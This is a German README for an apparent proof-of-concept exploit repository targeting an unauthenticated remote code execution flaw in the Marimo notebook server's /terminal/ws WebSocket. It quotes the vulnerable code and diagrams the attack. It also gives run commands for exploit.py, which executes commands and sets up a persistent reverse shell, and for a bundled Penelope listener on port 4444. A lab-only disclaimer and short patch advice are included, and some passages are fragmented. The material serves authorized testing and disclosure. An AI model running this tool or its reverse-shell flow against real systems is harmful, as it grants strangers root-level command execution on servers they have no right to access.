
Marimo-Exploit vor Version 0.23.0. Pre-Auth-RCE-Schwachstelle über den Websocket-Endpunkt: /terminal/ws.
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
Nicht authentifizierte Remote Code Execution in Marimo, einem reaktiven Python-Notebook-Server.
Eine einzelne unauthentifizierte WebSocket-Verbindung zu /terminal/ws liefert eine vollständige interaktive PTY-Shell als der Benutzer, der den Marimo-Prozess ausführt (häufig root in Docker).
Nur für Labore / autorisierte Tests (HTB, CTF, Aufträge mit schriftlich festgelegtem Umfang).
Marimo stellt ein integriertes Terminal über WebSocket bereit unter:
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
Andere WebSocket-Routen (insbesondere /ws für die Notebook-UI) rufen korrekt validate_auth() auf.
/terminal/ws tut das nicht. Es prüft nur:
und dann sofort:
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
Es ist kein Cookie, Token, Passwort oder Authorization-Header erforderlich — selbst wenn die Authentifizierung auf der Instanz aktiviert ist.
Auswirkungen: nicht authentifizierte, beliebige Befehlsausführung mit den Rechten des Marimo-Prozesses. In Standard-Container-Images ist das häufig root.
Datei (verwundbarer Quellcodebaum): marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
Vergleiche mit dem Notebook-WebSocket (ws_endpoint.py), das die Authentifizierung erzwingt:
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws| Status | Versions |
|---|---|
| Verwundbar | Marimo <= 0.20.4 (vor dem Fix) |
| Behoben | Marimo 0.23.0 und später |
Jede Bereitstellung, die das Terminal-WebSocket (Edit-Modus, PTY unterstützt) ohne externes Auth-Gateway exponiert, ist betroffen.
| Datei | Rolle |
|---|---|
exploit.py | PoC: Befehlsausführung + persistente Reverse-Shell + Penelope-Starter |
penelope.py | Standalone-Shell-Handler (brightio/penelope) |
README.md |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
penelope.py benötigt keine zusätzlichen Abhängigkeiten (Python-3.6+-Standardbibliothek).
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
Was passiert:
/terminal/ws0.0.0.0:4444 auspython3 exploit.py -h
Penelope wird als eigenständiges Skript (penelope.py) mitgeliefert:
Standardablauf (-p):
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
Das Kind wird absichtlich verwendet: os.execv(penelope) ersetzt das Prozessabbild des Elternprozesses, was einen Hintergrund-Thread töten würde.
Manuelles Penelope:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env, SSH-Schlüssel), prüfe ausgehende Verbindungen und PersistenzDieses Projekt dient ausschließlich autorisierten Sicherheitstests, der Ausbildung und defensiver Forschung.
Du bist dafür verantwortlich, geltende Gesetze sowie die Einsatzregeln (Rules of Engagement) deines Labors oder Kunden einzuhalten.
| Diese Datei |